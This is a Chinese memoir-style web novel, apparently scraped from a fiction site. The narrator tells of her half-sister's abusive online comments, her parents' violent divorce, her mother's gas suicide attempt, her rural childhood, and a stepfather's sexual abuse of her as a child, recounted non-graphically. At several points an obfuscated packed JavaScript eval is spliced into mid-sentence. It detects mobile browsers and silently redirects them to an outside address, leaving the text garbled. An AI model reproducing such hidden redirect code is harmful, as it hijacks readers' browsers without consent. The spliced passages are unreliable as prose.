《请你在最难的时候笑一笑》 1. 第001章 辱骂 2024年8月15日晚上六点,我的晋江书下面收到了一条评论:“你跟你妈两个烂bz,你让她赶紧把学费给我,她怎么供你的,就怎么供我,你们两个早该死了。” 发这条评论的人,是我同母异父的妹妹叶落。 叶落当然不是她的本名,请容我就这样叫她吧。 我该如何形容我看到这条评论的心情呢? 伤心,复杂,甚至是无奈。 这不是我第一次接收到她的辱骂,就在今年5月27日,叶落在我的微博下留言:“你爸当初抛弃你们娘两的时候,你们怎么不跳江死了算了?” “你真是个扫把星,你真该死,你和你妈一起去死吧。” 当然,我还收到更多不堪入目的言论,这里担心一些字眼不能过审,所以不一一赘述了。 我还记得我第一次收到她诅咒的那一天,我一个人趴在被窝里,哭了整整一个晚上。 我还想起了很多很多个从前,我和我妹妹的从前。 我想起我妈生我妹妹那一年,我上初二。周一到周五在学校住校,周末回家,就要帮忙带妹妹。 每天早上六点,我妹妹刚睡醒就要哭,我妈妈就会把她抱到我的房间里,让我帮忙带。我每个周末都睡不好,因为小孩子总是时睡时醒,要时时刻刻都陪在她身边。 我周末甚至没时间写作业,我妈妈说,我学习好,在学校认真听课就可以了,作业那东西,随便糊弄一下就好。 我没有过怨言,相反,我很喜欢她。 肉肉的,小小的,乖巧可爱的她。 后来她大一点,不太懂事,总是跟我吵架,说我跟她抢妈妈。 她不许我和妈妈单独相处,妈妈必须陪着她。 我还记得有一天,妈妈去镇上买东西,因为她当时还在睡觉,我妈妈就把她留在家里,只带我去了。 回家的时候,刚进门,她一脚就踹到了我身上,嘴里不停地骂我。 她是家里的小霸王、小宝贝,是我继父的乖乖小女儿,我不敢还手,却在心里有了怨言。 那天开始,我尽量躲着她,也不想同她多亲近。 直到那一年,她上小学三年级,我大四。 我回校写论文,准备答辩,一走就是两个多月。 回家听到亲戚说,你妹妹在你走后就念叨说,她想姐姐了。 我还记得那一刻,我一颗心都软了下来。 我很感动,也在一瞬间忘记了她之前的不懂事。 我想,她也是会想念我的。 我想,她也是爱我的。 我还记得,她中考结束那一年,她一个人从老家F城来到B城,就住在我家里。 当时我和我老公工资还不算高,生活还有些拮据。 市内的一些景点,我嫌弃贵,没舍得带她去玩。所以就在家里,想着她喜欢吃什么,我就亲手给她做。 为了省钱,我还特意重新学习了一些高中数学的内容,再把我重新学会的内容,教给她。 以至于后来第二年,我和老公的工资涨了一些,生活好了一些,我还有些懊悔,我想着这么多好玩的地方,我都没能带她好好逛一逛。 当时,我把好吃的、好玩的地方都记录了下来,我想着,这些地点,等我妹妹高考结束了,我要带着她去打卡。 我妈妈跟我说,妹妹几次模拟考,都考得很不好,偏科严重,数学只能考十几分,很有可能连二本线都够不到,只能去念民办本科。 但是家里经济拮据,如果一年学费要三四万,我妈妈那点养老金,恐怕是拿不起。 我当时忙活了一个晚上,在手机里查找了很多学费相对便宜的学校。 我想着,等她高考结束,我可以陪着她一起研究这些大学。我还让妈妈鼓励她,最后的时刻努点力,高考最后的成绩,一般都比模拟考的时候要高,也许最后,能考到一个公办本科。 可我没等到她高考结束的那一天,就收到了她在我微博的辱骂。 后来我才知道她骂我的原因。 我妈妈告诉我,她高三下学期的时候,有些折腾人。 学校是寄宿学校,临到要高考了,她总说失眠,要我妈妈去给她送家里的枕头,学校的枕头不舒服。 我妈妈住的乡镇,离她的学校很远,交通也很不方便,打车也不容易。 没办法,我妈妈只能喊上我妹妹的亲爸,也就是我的继父,开车送她去学校,给我妹妹送枕头。 可我妹妹总说这个枕头也不对劲,那个枕头也不好,最后我妈把家里所有的枕头都拿过去,她还说自己睡不好。 再后来,她总说自己不舒服,要去医院看病。 去医院的时候,医生同我妈妈小声讲:“你家孩子没什么问题,可能是高三学习压力太大,心理因素。也可能是不想学习了,就想出来溜达,故意折腾家长。” 我妈妈是个情绪不太稳定的人,送我妹妹回学校的路上,在车里跟我妹妹吵了起来。 具体吵了什么,我不清楚。 吵到最后,我妹妹先掐了我妈一下、打了她一下,我妈回手扇了她一巴掌。 这一巴掌,捅了马蜂窝。 我继父护着女儿,就在高速公路上,打了我妈,然后他们父女两个,把我妈妈一个人,丢在了高速上,疾驰而去。 这不是我继父第一次动手打我妈,他们两个也因为这个事情签了离婚协议。 本来他们两个关系都缓和了,这一次,我妈彻底伤透了心。 这件事,她甚至迟迟没有告诉远在B城的我。 直到一个月之后,她才打电话哭着告诉我,她一个人在高速上步行了几个小时,之后从高速上翻到下面公路,拦到了一个好心人的车,给她送到了城里,她才能买到汽车票回家。 我知道这件事的时候,又忍不住哭了好一会儿。 我妈妈不知道,高速公路那种地方有多么危险。 可我忍不住后怕。 但凡那天高速上的车多一点,我都可能失去我的妈妈。 我心里憋着气,却不敢去指责还在高三的妹妹。 我生怕哪句话说的不对,万一她情绪不好,高考发挥失利,到时候全变成我的错了。 我想着,等她高考结束,我再同她讲高速上停车丢下人有多危险。 可我没等到那一天,就先等来了她无休止的辱骂…… 我是一个亲情观念特别淡薄的人,我曾经以为,这个世界上,只有我妈妈和我妹妹,才是我的亲人。 可也正是我自以为的亲人,会变成突然刺向我的一把尖刀,扎得人千疮百孔、鲜血淋漓。 也许,是因为五月份的时候哭过了。 我今天看到这条辱骂评论的时候,反而没什么感觉。 倒是我妈妈给我发了消息,她说:“我们能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464803|141850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成为母女是缘分,下辈子如果能重新来过,我不会选择生孩子。” 我那一刻吓得浑身发抖,我急忙给她打了电话,聊了两个多小时,直到听她在电话里情绪平稳了,我才敢挂断。 我妈说,我继父给我妹妹办了升学宴,收了二十一万的礼金。 我继父之前做生意破产了,现在成了老赖。由奢入俭难,他这几年总是忍不住回想之前做大老板的日子,所以花钱还是不知道节省。 再加上外面欠了很多外债。 又在没钱的时候,花了儿媳妇和侄女不少钱。 所以刚收完礼金,儿媳妇和侄女就急忙把之前的钱要回去了。 整整二十一万礼金,不到一个月,算上还款再算上挥霍的,一分不剩。 我妹妹马上就要开学了,民办本科,学费两万三千多。 我继父本来说好了,我妹妹第一年的学费他出,剩下三年的学费和这四年的生活费全部由我妈妈出。 但是临到开学,他一分钱都拿不出来,只能打电话让我妈妈拿钱。 我妈妈心里憋闷,打电话骂了我继父几句,我妹妹抢过电话,疯狂地辱骂我妈,还威胁我妈说:“你如果不给我拿钱,我就天天去我姐的书下面骂她,让她的读者都看看,让她写不了书。” 有一瞬间我想破罐子破摔,我想着有本事就来骂我,大不了我晋江这个账号不要了,我和她对骂又能怎么样? 我倒是要让其他人看看,能骂自己的妈妈是烂丨裤丨裆,骂妈妈和姐姐都是bz的人,到底是什么样的人? 可我妈最终还是拦住了我,她说你已经三十岁的人,不要跟妹妹计较。 从她高考结束到现在,她先是跟我妈要了一万五千出去旅游,又要花钱割双眼皮。 现在又让我妈打两万五到她学校的银行卡里。 整整四万打到她的账户,我妈却不敢说一句没钱。 因为她会上网,她学会了一句话,那句话是,没钱就别生孩子啊。 也许是因为我是个穷人吧,我至今都不敢生孩子。 我始终觉得,我没有做好准备,我怕我的孩子生出来,会跟我一样,在困苦里不断地挣扎。 但是我觉得,我妈妈已经竭尽所能,为我妹妹提供了最好的条件。 我妈妈和我继父是二婚,我继父不让她掌握经济大权,一直只给她生活费。 可尽管这样,她还是省下来两百多万的存款。 后来我继父破产,又因为去过澳门,欠了不少外债,我妈妈拿出的私房钱,给他填补亏空。 等我妈意识到她那点钱只是毛毛雨,根本补不上我继父八位数的亏空时,她拿着最后仅剩的几十万,在F城给我妹妹全款买了一套房。 那年,我刚结婚,我妈妈给了我五万块钱的嫁妆。她告诉我,我亲爸1996年跟她离婚的时候,房子才卖了两万多块。 我妈妈让我无论如何,都不能跟我妹妹争。 我已经成年了,我明白靠人不如靠己,有这五万块钱,我真的很感激。 可我没想到,在我妹妹的嘴里,我妈就不该给我花一分钱。 此时此刻,时间是2024年8月16日凌晨三点,我坐在电脑,沉默了许久许久。 我想,有些感情,不要也罢。 以后叶落这个人,莫说是考大学,她结婚生子,哪怕是生病死亡,都不再与我有任何关系。 2. 第002章 回顾 我想讲讲,我从记事开始的故事。 其实我记事很早,我记得四岁之后的很多事。 有人说,大脑会自动删除三岁之前的记忆。但是我却对小时候的某些片段有印象。 我记得我小时候的家,住在一个筒子楼里。 我记得小时候肚子疼,妈妈会喂给我一种塔糖,那就是儿时的打虫药。 提笔打字的时候,我感觉舌尖还能回忆起那打虫药的味道。 妈妈说,我小时候爱哭闹。每次她和我爸感情稳定的时候,我就开始哭闹。 而我一哭闹,我爸就会打她。 我妈是个死心眼,结了婚就不想离婚,即便是丈夫家暴、出轨,甚至婆婆总是苛待她,她也想安稳过日子,和我爸好好过下去。 我成年之后,我妈跟我说,我爸上学的时候有个初恋。 在那样一个传统的年代,我爸和那个初恋也发生了夫妻关系。本来,他们两个是打算结婚的。 可是,我爷爷突然病故了。 我爸总说,如果我爷爷还活着,现在怎么也是副丨处丨级别。 我爷爷走了,我爸那个初恋觉得嫁给我爸应该没什么前途,所以悔婚了。 我出生之后,我爸的初恋住院,我爸偷偷跑去医院看她,对她十分不舍。 我妈一直都知道这件事,可她从未跟我爸提过。 以至于很多年后,我当着我爸的面捅破这件事的时候,我爸还诧异地沉默了一会儿,然后低声说:“我都不知道你妈知道这件事。” 其实不止这一个女人,我爸婚后还搞过很多婚外情,我妈心里跟明镜一样。 我爸都跟哪个女的不对劲,她都清楚,可她都选择装聋作哑。 我印象最深刻的一次,是我爸带着我,去高档的餐厅,同那个婚外恋对象吃饭。 那应该是1996年,我还没过四周岁的生日。 我还能模糊地记得,那是一个很漂亮、打扮非常时髦的阿姨。 我乖巧地坐在对面看着她,压根不懂这个女人是谁,也不知道这个女人会给我的家庭带来怎样的改变。 我只记得我爸当着她的面,细数了我妈很多不是,也说了他在婚姻里的困境,说他结婚后过得多么不如意。 这个插曲,我在几年后父母离婚后想起来,才恍然惊觉,她是我父母婚姻中的小三。 我爸是为了这个女人,下定决心跟我妈离婚的。 可我好像从未恨过她,我妈好像也没那么恨她。 这个女人从事特殊职业,用我爸妈的话说,就是小姐。 后来,我爸工厂倒闭了,也没钱了。 这个女人压根不管我爸是否有经济上的困难,还疯狂地买衣服买包,压榨我爸的剩余价值。 我爸那时才意识到,这个女人他养不起了,便提出了分手。 可那女人死活不答应,还跟我爸要分手费,如果我爸不给,她就找社会的小混混,打我爸。 我爸其实也不是一个怂人,年轻的时候也喜欢打架,体力不错,上学的时候还破过我们省的长跑记录。 可即便是这样,他也没办法安生过活,最后东借西借,凑够了那个女人的分手费,这个事才算结束。 我和我妈都不清楚当年的具体内情,有些片段是我爸自己讲述的,有些是我妈从外人口中听说的。 而我,之所以认为我妈不恨那个小三,大概正是因为,我妈从未在我面前说过那个女人的不是,她只会埋怨我爸。 听到那个女人把我爸折腾个够呛,她也只会觉得解气。 我出生于1992年底,我妈总说我四岁的时候,他们就离婚了。 可我有一年意外在我姥姥家,发现了我爸妈的离婚判决书,上面的日期是1996年9月份。 所以其实,他们离婚的时候,我才三周岁。 我小时候的很多记忆,我爸妈都觉得我不记得了。尤其是我爸,他总觉得,我只要长大了,他就可以把当年的错误洗成白的。 可我却记得很清楚。 我记得我爸后来,长久长久地不回家。 我还记得我妈总是不厌其烦地给我爸打电话,却怎么都打不通。 我记得我经常站在窗台上,望着楼下,然后有一天,我终于看到了爸爸的身影。 我在楼上大喊着爸爸,我爸也很惊喜地看着我,应了一声。 然后我又开心地喊我妈,我说:“妈妈,爸爸回来了。” 我妈有点惊讶,却也不是很高兴,她嘴里好像念叨着:“还知道回来……” 再后来,我妈带着我去大街上捉J。 人来人往的街道上,我妈和我爸撕扯着,她大喊大哭,歇斯底里。 而我爸,却像拎小鸡一样,一手拎着我,一手拽着我妈,将我们丢进出租车里,催我们快点回家。 从那天开始,一切都变了。 我爸非要和我妈离婚,我妈哭着闹着不肯离。 我奶奶开始搞玄学,她说她算过命了,要是我妈不肯离婚,将会有血光之灾。 我奶奶一直不喜欢我妈,她嫌弃我妈做饭不好吃,不会做家务。 我爸妈刚结婚的时候,也是一贫如洗,后来我爸做到了木材厂的厂长,慢慢开始有钱了,有点社会地位了,就开始飘了。 我爸一飘,连带着我奶奶也跟着飘了起来。我奶奶甚至当着我妈的面就说:“我儿子现在有能耐了,以后找个二十出头的大姑娘,也未尝不可。” 他们闹离婚的时候,一直有个未解之谜。 我奶奶总说我妈打她,我爸也“孝顺”,他说我妈打过我奶这事,在他那里不可原谅,所以因为这个也一定得离婚。 可我妈却说,当时我奶奶逼着她跟我爸离婚,她就是推搡了我奶几下,我奶就大哭大闹着说我妈打人了。 是是非非,我未亲眼所见,不敢轻易下定论。 但是私心里,我更愿意相信我妈。 因为我奶奶那个人,不算特别善良,也喜欢夸大事实。 我妈后来还跟我说过,她和我爸结婚后,我爸不喜欢吃她做的饭。 我妈妈都把饭做好了,他尝了一口就吐了,然后转身就推门而出,去我奶奶那吃。 如今我妈妈已经快57周岁了,有时候做梦,还能梦到我爸打她。 东北人逢年过节都喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464804|141850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢包饺子。 有一年过年,我和我妈一起包饺子的时候,我妈会突然回忆起,当初她和我爸结婚后,就因为包完饺子剩了一些饺子馅,就被我爸定义成是不会过日子的女人,然后把整个桌子掀了。 我对我爸打我妈没什么印象,大概是一直关着门,没当我的面打。亦或者是,我的记忆没那么好,这段记忆被大脑自动忽略了。 我只记得,我妈有一次,带我去亲戚家打麻将。 她打着打着就哭了。 然后亲戚掀开她的上衣,上面全是拿皮带抽过的红痕。 可即便如此,我妈还是不肯离婚。以至于我爸都到法院起诉离婚了,我妈还是跑到我奶奶家,哭着问我爸:“我们不离婚好不好?” 我爸当时很决绝,他说我们非离不可。 而我姥姥当时在旁边,一巴掌就把我妈扇醒了。 我姥姥是一个优秀的人民教师,为人果断,她希望我妈能支棱起来,别那么窝囊。 可我妈还是个窝囊的人啊,她根本不想跟我爸离婚,她甚至还想带着我死了算了。 她在家里开了煤气。 要不是我小舅舅那天突然去了我妈家里,也许当时,我和我妈都没了。 -- 当时他们闹离婚的时候,谁都没带上我。 我起初被丢在我奶奶家。 可我奶奶重男轻女。 我奶奶生了两个儿子。 正赶上那年代计划生育,一家只能要一个孩子。 我爸和我叔叔都生的女儿。 没能生个耀祖,是我奶奶一生的痛。 这大概就是我奶奶,迫不及待希望我爸再娶的原因吧。 我奶奶那时候对我不好,我不记得发生了什么事,反正我哭闹的时候,我奶奶骂我是丧门旋,骂我是扫把星,一直推搡我。 后来还是我爸回来了,质问我奶奶为什么跟个孩子计较。 我奶奶一直不愿意带我,就把我丢到了我太奶奶那。 我太奶奶是个很好的老太太,她很喜欢我,对我也很好。 我妈后来跟我说过,她说我刚满月,她就要上班。 她没时间带我,就把我丢到我太奶奶家里。 她甚至没给我太奶奶钱,就偶尔买个水果去看看她。 我那时候还小,还不懂离婚意味着什么。 我只知道,我在太奶奶家住了很久很久,都不见我妈妈来接我。 我每天都很想妈妈,想到没办法好好吃饭好好睡觉,病得起不来床。 后来也不知道谁告诉我,你妈妈不会来了,她丢下你了。 我不相信。 我大哭着求太奶奶,我说我要去小舅舅家里。 我说只要我坚持在我舅舅家里等着,我妈总有一天,会去的。 我太奶奶不知道去我舅舅家的路。 可她不明白我一个小孩子,为什么记性那么好。 我带着她一路步行,走了快一小时,找到了我舅舅家。 我就趴在我舅舅家的地板上,死活都不肯走。 我哭着跟舅妈说:“只要我趴在这,我妈妈一定会来的。” 3. 第003章 累赘 后来,我从天亮等到了天黑。 还是我舅妈最后拿着两条小金鱼,给我哄走了。 其实我不喜欢金鱼,我直到现在也害怕活物。 我不敢触碰,也不会养。 我那时放弃等待,大概是意识到,我妈妈应该不会来了,她可能真的不要我了。 我妈后来说,我当时大病了一场,看起来没什么气力了。 她大老远跑到我太奶奶家看我的时候,我红着眼瞥了她一眼,然后就赌气似地跑开了。 我妈后来一直问我,当时为什么跑了,可我一直没给她答案,我总是喜欢低着头不吭声。 不作答,不想答。 我太奶奶当时劝了我妈一句:“孩子以后还是交给你抚养比较好,宁愿跟一个要饭的妈,都不要让孩子跟着当官的爹。” 我太奶奶才是我爸的亲奶奶,可她更希望我妈能拿到我的抚养权。 -- 我姥姥后来跟我说,当时我爸起诉离婚的时候,在法院认识一个人,叫马晓慧。 这个女人跟我爸有说有笑,关系很好,是我爸离婚案的后台。 我爸那天跟马晓慧聊完之后,直接当着我妈的面就嚣张地说:“你孩子也得不到,房子和财产也得不到,我会让你净身出户。” 后来在离婚的判决中,我妈一直落于下风,是我姥姥求了几层关系,最后找了一个远房亲戚,求他能帮帮我们。 我姥只希望法院能有公正的判决,不要被我爸那些歪歪道道所左右。 最后,房子判给了我妈,我也归我妈抚养。 那年法院判决,我爸需要每个月支付给我妈五十块钱的抚养费。 这笔抚养费,我爸后来一分钱都没拿过。 -- 我爸妈离婚后,我就去了姥姥家生活。 其实我起初是非常嫌弃那个贫瘠的山村的。 我姥姥家,夏热冬凉。 那房子是用石头砌起来的,一到冬天就漏风。 东北的冬天实在太冷了,炕烧得暖,也抵不住屋子一直漏冷风。 所以我一到冬天,经常趴在炕头捂个被子,一动不动地窝在那里。 我小时候喜欢哭,遇到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果我说我没有爸爸的话,那个人还大笑着,跟其他人说:“哎呦,这个小孩可有意思了,她说她没有爸爸,怎么会没有爸爸呢,她自己爸爸姓什么都不知道。” 我不想解释,转身就跑,我也不喜欢跟村里的其他不熟的人搭话,我讨厌别人问你爸爸是谁。 我爸爸不要我了,他和我妈妈离婚之后,没给过我抚养费,没来看过我,没有过问过我的生活。 他好像从我生命中消失了。 我妈也总说,你就当你爸死了。 其实这话也没有说错,我爸还活在这个世界的某个角落,可他好像死在我的生命中了。 再后来,我妈妈改嫁了,嫁到了另外一个山村。 那个山村比我姥姥家所在的山村还要贫瘠得多。 我新继父的家住在半山腰上。 即便当时我还没上小学一年级,我还能记起那一条路。 载客的客车到了村口,又要走过一条很长的石子路,那路旁不是山神庙就是坟茔地,最后经过一个拐角,爬上半山腰,就是我即将到来的新家。 我还记得,我当时去学前班上了没多久,就升到了小学一年级。 从小学一年级开始,我就要自己上学。每天早上天不亮,不到六点就要从家里出发。 步行一个多小时,天快亮了,才能赶到学校。 我在那里上了一个半学期。 可能因为当时还小,对周围的环境也没有敬畏之意,无论是山神庙还是一片片坟茔地,我都没有害怕过。 直到,我姥姥大老远到那个山村看我,走过了一遍我上学走过的路,当即就掉了眼泪。 她说自己没办法想象我那么小的孩子,怎么走过那么远的路。 而且,从来都没有人送我上学,一直都是我一个人走。 其实也不算是一个人。 有一个高年级的姐姐,每天起床比我更早,她的家住在更深的山沟里。 我每天下山的时候,都能看见她。 不过她走得比我快,经常我走着走着,就看不到她的踪迹了。 我好像还能回忆起她当时的模样,她冬天喜欢穿一件红色绣桃花的手工棉袄,梳着两个麻花辫。 那条一眼望不见尽头的石子路,只有我们两个小学生从天黑走到天蒙蒙亮。 我还记得,我继祖父和继祖母也不算是特别刻薄的人,我当时也叫他们爷爷奶奶。 他们当时对我还算是温柔。 那个爷爷是个老中医,会给人看病抓药。 我至今还记得,他说剪下来的头发不要丢掉,把头发烧成灰,装进罐子里,就是止血药。 他还会跳大神,每次请神的时候,他还会吞一个生鸡蛋。 不过这种封建迷信,我从小就不信,只是出于好奇,偶尔会看一眼。 我还记得,有一年那个爷爷在煮中药,我在旁边陪他闲聊天。 后来,我不小心把他刚煮好的中药掀翻了。 当时中药碗放在桌子上,那个桌子四个角都不太结实,我趴在桌子上一个不稳,一整碗中药都洒了。 我吓得赶紧跑回我妈妈的房间,趴在被窝里,一动也不敢动,浑身哆嗦。 后来,还是那位爷爷跟我妈妈说:“去跟她说,爷爷没怪她,叫她出来吃晚饭吧。” 他还笑着跟奶奶说:“小孩子,犯了点错误就吓得够呛。” 我还记得当时那个院子,门口是两颗参天的核桃树,大约是有些年头了,我仰头望的时候,真的很高很高。 院子里有两口棺材,是爷爷奶奶提前做好的。 我旁的倒是不害怕,就是晚上出门上厕所的时候,看见那两口红彤彤的棺材,经常被吓得赶紧跑回屋。 我不是害怕棺材,我是害怕棺材上的红色,感觉上面会有小鬼跑出来。 那个家是真的很穷,厕所里甚至没有卫生纸,连我用过的书纸都不舍得放进去。 上完大号用的是苞米扬子(玉米芯)擦腚。 没有经历过的可能不太懂,苞米扬子晒干了之后,特别硬。用它擦腚的时候,真的挺疼。 后来,我还是离开了那个山村。我姥姥接受不了我的上学环境,带着我回到了我姥姥家的那个乡村。 也许是因为之前的日子过得太不好了,乍一回到姥姥家上学,感觉真的回到了天堂。 上厕所可以用卫生纸了。 学校里不用烧炉子,有暖气。 姥姥家离学校不远,步行十分钟就到了。 唯一的缺点是,妈妈不在我身边,我真的很想她。 我还记得我妈有一次回我姥姥家,就住了一个晚上,第二天就要走。 我早上不舍得上学,我生怕放学回家,我妈就走了。 直到我妈妈答应我,等我放学之后,她再走,我才终于放心。 可我放学回家的时候,妈妈早就走得没影了。 我吃完晚饭,当着姥姥的面没哭。 晚上熄灯之后,一个趴在被窝里,偷偷抹着眼泪。 我不敢哭出声来,我怕姥爷会骂我。 甚至于之后无数个日夜,我经常会问我姥姥,我妈妈什么时候回来。 姥姥有时候会敷衍几句,有时候会说快了。 我成功从爱哭的招人烦小赖叽狗子,变成了每晚会趴在被窝里偷偷哭的小孩。 等我马上要上三年级的时候,我妈妈和那个男人闹离婚,回了我姥姥家。 我当时根本不想管他们的爱恨情仇,我只高兴我妈妈陪在我身边了。 如果可以,我宁愿她一辈子都不回去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464806|141850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可是很快,那个男人还是来了我姥姥家接人。 我姥姥提出了几个条件,要他必须答应。 第一个条件便是离开那个山沟沟,去县城里租房打工。 第二个条件是让我去县城里上学。 那个男人答应了,他们很快去县城租了一个街边的平房,然后就开始安排我入学的事。 我还记得那个学校安排了一场转学生的考试。 在我妈妈眼里,我是一个很聪明的孩子,我记忆力好,毫不夸张地说,语文课本上的所有课文我都会背,我甚至可以背语文课本后面的生字表。 我妈妈当时以我为傲,出门就让我给大家朗诵课文。 然而,入学考试只考数学,我的数学成绩一塌糊涂。我只会算术题,涉及应用题的部分,我一道题也答不上来。 而这些缺点,在曾经的乡村小学,我妈妈是没有发现的。 因为我期末考试,每次都接近满分,期末考试的内容,也很简单。 可以说,去县城学校之前,我妈妈一直觉得我是个非常优秀,学习成绩非常好的孩子。 我还记得那一次的入学考试,我才考了四十几分,学校不肯收我,我妈妈急得直上火。 后来,还是那个男人,也就是我的第二任继父,暂且管他叫老六吧,因为他在家中排行老六。 他说在学校里有一个表亲在那当老师,可以上门帮忙求求情。 我妈妈上门前买了好多水果,提到了自己的诉求。可是人家没说行,也没说不行,就说让我们回家等信,还让我妈妈把东西都拎回去。 我妈妈觉得事情没戏,情绪很不稳定,回到家就把水果都丢给我,说:“这下好了,这些东西你自己留着吃吧。” 现在回想,我觉得自己真是个大馋丫头,我压根不懂我妈妈的焦急,我只是觉得我平时吃不到这么多的水果,尤其是当时的葡萄,吃着真甜啊。 我美滋滋吃着水果的时候,那个老六瞪了我一眼,阴阳怪气地说:“你就知道吃,我看你还挺高兴。这下你可美了吧,这么多好吃的。” 最后一句,他说得咬牙切齿。 我虽然小,但也听得出那不是好话。 我只能傻笑一声,假装什么都听不懂的样子,继续低头吃水果。 然而那葡萄吃起来,却再也不甜了。 后来,我还是入了学,被安排进了最差的一个班。 可我妈妈觉得,我能去学校上学已经很好了。 我还记得当时的班主任,虽然她教我只教了不到两个月,但是她的课讲起来很生动,而且,我总觉得,她长得像我的姥姥。 我仿佛茅塞顿开,一下子被打通了关窍,所有的应用题,我就在一瞬间全都会做了。 我还记得,要放学的时候,那个长得像我姥姥的班主任,让我们不背完课文不许回家。 全班只有我一个人站起来,流利背诵完了课文。 其实我不止会背那一篇课文,才刚刚开学,那整本语文书上的所有课文,我都会背了。 那个老师当着所有同学的面夸我,她说入学考试,就只有我成绩最差,但是我非常努力,她相信我之后的考试,一定可以后来居上。 可惜啊,我没能让她看到我的成绩。 因为很快,我妈和老六的感情,就出现了问题。 5. 第005章 欺负 最起码,在老六趁我睡觉偷偷侵犯我之前,他们的感情就已经出了问题。 我虽然不能记得起每一件事,但是有些细节,还是能想起来。 他们吵架有的时候会背着我,但是两个人一直有矛盾。 两个人闹起来,无外乎是经济上的问题。 那个男人其实很懒,不是被逼无奈,也不会想出去干活。 他经常会跑到街对面的一家街边烧烤,烤点烤串,喝点小啤酒。 烤串甚至都不舍得买肉串,烤的都是后来我们喂给流浪狗吃的那种小狗肠,撒点孜然芝麻和辣椒酱,味道就很香。 他出去吃的时候,是不会带着我们娘两的。 有一次,他买了一点回来,藏在桌子后面。 其实他刚带回来我就看到了,孜然烧烤料的味道,很难让人忽视。 直到我妈做好饭,上了饭桌,我才问他:“你买的烤肠不吃不就凉了吗?” 他笑得很尴尬,这才说:“我本来想给你一个惊喜的,没想到你鼻子这么灵,居然闻到了。” 我妈妈当时什么话都没说,之后才跟别人抱怨,说他小气,说他就买了点烧烤,没花几个钱,都不舍得拿出来给我吃。 当然,最后导致他们婚姻破裂的,是那个男人欺负我。 当时,我还不满九周岁。 而我妈妈那段时间,为了缓解生活压力,去厂里打工,三班倒。 有的时候上夜班,有的时候上白班。 那天,我妈妈刚好上白班,他就突然脱了裤子,让我摸他…… 我根本不懂,学校里当时也根本不教生理知识。 甚至我可以毫不夸张地说,我直到大学毕业,唯一一个教过我们生理知识和感情相关的,是大一时期的一个心理学讲师。 我不知道城里的同学都是怎么学习的,我的小学老师会自动忽略有关的知识。初中也会跳过那些片段。高中老师则是默认你们懂了这些,根本不会讲。 不过还好,我当时觉得很脏很丑,吓得捂住眼睛,背过身去。 他也试图抓着我的手放在那里,我当时觉得他眼神不对劲,吓得大哭。 他当时应该是害怕被邻居听到,所以收了手。 那是他第一次动了歪心思。 第二次,是我妈妈上夜班,凌晨三点才会回家。 我们租的房子只有一间卧室,平时我也住在炕边。 我妈妈平时都睡在中间,我和他也没什么交集。 那天我总感觉他有意无意地想靠近我,我就不敢睡觉,一直不停地问:“我想妈妈了,妈妈什么时候回来?” 可是我总有熬不住的时候,熬到下半夜,我眼皮打架睡着了。 可是等我醒来,我身上的内裤已经被他换了。 大约是睡得不太实,我刚睡没多久就醒了,也没有酿成大错。 后来我妈回来的时候,我就哭闹,我妈也不知道是上班的时候受了什么委屈,一边骂我不省心,一边抱怨。 从那天开始,只要我和他单独相处,我就哭着抱住我妈的腿,不让她走。 我妈终于意识到了不对劲,等那个男人上班之后,她才悄悄问我怎么回事,他是不是欺负你了? 我不知道那算不算是欺负,我只是说我不舒服,把实情告诉了我妈。 而这件事,让我妈下定决心,跟他离婚。 他们两个的矛盾,已经到了没办法调和的地步,我妈已经准备转学手续,准备把我送回我姥姥家所在乡村的那个小学。 我还记得离开县城的那一天,我在那个出租房里看到了一个大耗子,我吓得尖叫了一声。 我妈当时冲着我吼:“看见耗子有什么可怕的,他碰你的时候,你怎么不会大喊大叫?” 人有的时候,总是记得伤人心的话,正如这句话,我一直记到了三十岁还没忘。 忘了告诉大家,我妈妈其实有挺严重的精神问题。只是当时那个经济条件,家里人只能顺着她,根本没钱带她去看看病。 从我亲爸跟她离婚之后,她整个人就不正常。日夜痛哭,甚至半夜走路,还能撞到电线杆子上,之后大脑一片空白,记不清回家的路。 要是情绪正常,她也不会在离婚那年,开了煤气,想要带着我了断。 当年我妈离婚的时候,才二十八岁,她不停地掉头发,未满三十,就已经秃顶了。 她和那个老六最后还是办了离婚手续。 